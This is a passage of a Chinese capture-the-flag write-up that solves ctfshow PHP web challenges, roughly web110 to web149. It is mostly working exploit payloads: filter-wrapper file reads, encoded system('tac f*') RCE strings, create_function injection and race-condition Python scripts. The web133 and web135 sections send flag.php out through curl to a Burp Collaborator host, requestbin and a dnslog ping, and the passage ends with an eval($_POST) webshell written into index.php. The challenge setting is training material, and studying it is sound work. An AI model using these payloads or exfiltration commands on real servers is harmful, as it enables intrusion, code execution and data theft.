if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}
?>

考察点:FilesystemIterator类的使用

不能有符号上次用的方法是不行了

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload:其实就是用getcwd造点

1
v1=FilesystemIterator&v2=getcwd

题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag。

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

考察点:php超全局变量$GLOBALS的使用

1
2
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举个例子

1
2
3
4
$a=123;
$b=456;
var_dump($GLOBALS);
123

返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。

1
2
3
4
["a"]=>
int(123)
["b"]=>
int(456)

还有一个问题php变量前面加&符号是什么意思

1
2
3
4
5
$foo = 321;  
$bar = &$foo;
$bar = 123;
print $foo;
//123

为什么会这样呢?

改动新的变量将影响到原始变量,这种赋值操作更加快速

注意:只有命名变量才可以传地址赋值

就是说,改变了$bar的值,也就改变了$foo的值

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用

过滤了不少东西,其实主要的是下面的

1
2
is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。

1
2
3
4
5
6
7
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
还有一些其他的,可以参考php文档

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

其实可以利用

1
?file=compress.zlib://flag.php

不过题解是

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

看了看过滤留出了filter

1
?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

考察点:trim函数的绕过+is_numeric绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

做个简单的小测试

1
2
3
4
5
6
for ($i=0; $i <128 ; $i++) { 
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}

除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric

1
2
3
4
5
6
for ($i=0; $i <=128 ; $i++) { 
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}

发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。

1
payload:num=%0c36

其实还可以这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for ($i=0; $i <=128 ; $i++) {
$num=chr($i).'36';
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo urlencode(chr($i))."\n";
}
}

web123、125、126

1
2
3
4
5
6
7
8
9
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

第一个难搞的地方isset($_POST['CTF_SHOW.COM'])因为php变量命名是不允许使用点号的

PHP默认把. 空格 [ +转化成下划线但是有一个转换规则

对变量不符合规则的变量名里面只转换一次,类似于双写绕过,如果两个不合法只转换一个,后面的不再转换,其中空格 + . [ = _

1
2
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以

这是我能理解的方法

其种出题人给的题解是

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
1
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
1
2
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

我自己本地测试了下

1
2
3
4
5
6
7
<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

parse_str()

img

又大佬啃了下php的c源码总结如下

1
2
3
4
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。
还有一个解法不太理解

cli模式下(命令行) $_SERVER['argv'][0],其余是传递给脚本的参数在这里插入图片描述

web网页下
在php.ini开启register_argc_argv配置项 设置register_argc_argv = On在这里插入图片描述所以可以控制$a['0']

在这里插入图片描述
1
2
3
4
5
6
7
8
9
10
11
12
13
1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用
1
2
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。
1
2
3
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

其实没什么难点捋一遍下来

extract() 函数:将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:

1
2
3
4
5
6
7
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
//$a = Cat; $b = Dog; $c = Horse
?>

其实这个函数和par_str()就是赋值

只用看最后一个if

1
2
if($ctf_show==='ilove36d'){
echo $flag;

那么直接走payload:

我们让ctf_show=ilove36d 传进去但是有过滤,不过没过滤完,空格 + . [ = _,通过搜索发现空格没过滤

1
?ctf show=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

考察点:gettext拓展的使用

**GetText:一个字符串处理的函数或者说功能,进行字符替换等等. **

在开启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("phpinfo");
结果 phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func(‘_’,’phpinfo’) 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

1
2
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
1
2
payload:
f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
1
2
stripos() 
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如

1
f=http://url/xxx.txt?ctfshow

其中xxx.txt为一句话

要是没有服务器的话,我们也可以用php伪协议绕过

1
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

filter伪协议支持多种编码方式,无效的就被忽略掉了。
利用目录穿越漏洞绕过 stripos 检测字符

1
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
这个参数在php 5.2.0版本之后可用。

1
2
直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f)
可能.+匹配失败,就不再匹配?
1
2
非预期:
f[]=ctfshow

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://58ace073-e21f-4c22-b1b0-e81ccf26ab74.chall.ctf.show/'
esp = 1000000
ebp = 100000
while True:
middle = int((esp+ebp)/2)
payload = 'ctfsho' * middle + '36Dctfshow'

data = {
'f': payload
}

r = requests.post(url=url, data=data)
if 'flag{' in r.text:
print(r.text)
break
elif 'Too Large' in r.text:
esp = middle
elif 'bye' in r.text:
ebp = middle
1
2
3
4
5
6
7
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

考察 php运算符优先级 ||优先级低于&&

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

虚假的前端,在网址后面输入/admin进入源码界面

image-20211025110347184

1
2
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕

所以就让username=admincode=admin即可

web133

1
2
3
4
5
6
7
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

举个栗子

1
2
3
4
5
6
7
8
9
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

1
2
3
4
payload 
其中-F 为带文件的形式发送post请求
xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

使用方法

在这里插入图片描述

在这里插入图片描述

还可以外带

1
curl  http://xxx:4567?p=`tac f*`

只能一排一排的带出数据。

那么我们想一想flag.php里面肯定有flag想一想有没有特点用于区别其他行?
hhh,当然是flag{}啦,我们就可以使用grep 命令进行筛选(经过测试发现一排只能带65个字符)
实验

?F=$F;+curl http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`

web134

1
2
3
4
5
6
7
8
9
10
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

考察: php变量覆盖

1
2
利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 
payload: ?_POST[key1]=36d&_POST[key2]=36d

测试源代码

1
2
parse_str(_SERVER['QUERY_STRING']);
var_dump($_POST);
1
2
3
4
5
6
然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

web135

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

非预期:直接copy

1
2
F=`$F`; cp flag.php 1.txt
F=`$F `;nl f*>2.txt

这个没有成功

1
2
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

web136

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);

啊这。。。

1
2
post
ctfshow=ctfshow::getFlag

拓展

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

在上一题的基础上过滤了冒号
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。

且call_user_func是以数组方式调用函数的

具体使用方法如下

1
2
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

web140

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

在这里插入图片描述

可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了

1
2
3
4
5
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
1
2
3
或者
f1=intval&f2=intval`
f1=usleep&f2=usleep

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

无数字字母RCE

先来看下正则表达式
/^\W+$/ 作用是匹配非数字字母下划线的字符
现在最主要的任务是return怎么绕过。
大家可以看下下面的示例

eval("return 1;phpinfo();");
1
2
3
4
5
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload

利用脚本跑 sysytem tac f*

命令前加一些 + - * / 之类的,让它顺利执行

1
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

0和0x0绕过 这里绕过因为是因为当成了8进制和16进制

1
payload:?v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

在那道题的基础上过滤了写符号,但是可以用异或

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

和上道题比的话弱化了许多

1
v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

考察点:三目运算符的妙用
小测试

1
eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了

1
2
payload:
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

1
eval("return 1==phpinfo()||1;");
1
2
payload:
v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

考察点:create_function()代码注入

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

1
2
3
4
function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令
1
2
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

%5c就是\

可以在函数名前加上命名空间
system =>\system
\是全局命名空间

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

还是无数字字母RCE,没有禁用异或符号

1
code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

但是预解期是中文

1
2
payload:
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
1
2
3
4
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

条件竞争

预期解 条件竞争

1
2
3
ctf=1.php
show=<?php system('tac /c*');?>
#使用bp不断访问并传参,然后开一个去不断访问 1.php

多线程脚本也可以一个读一个写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'


def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)


def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()


if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()

for i in range(1, 100):
threading.Thread(target=read).start()

非预期:直接写一句话到index.php
GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>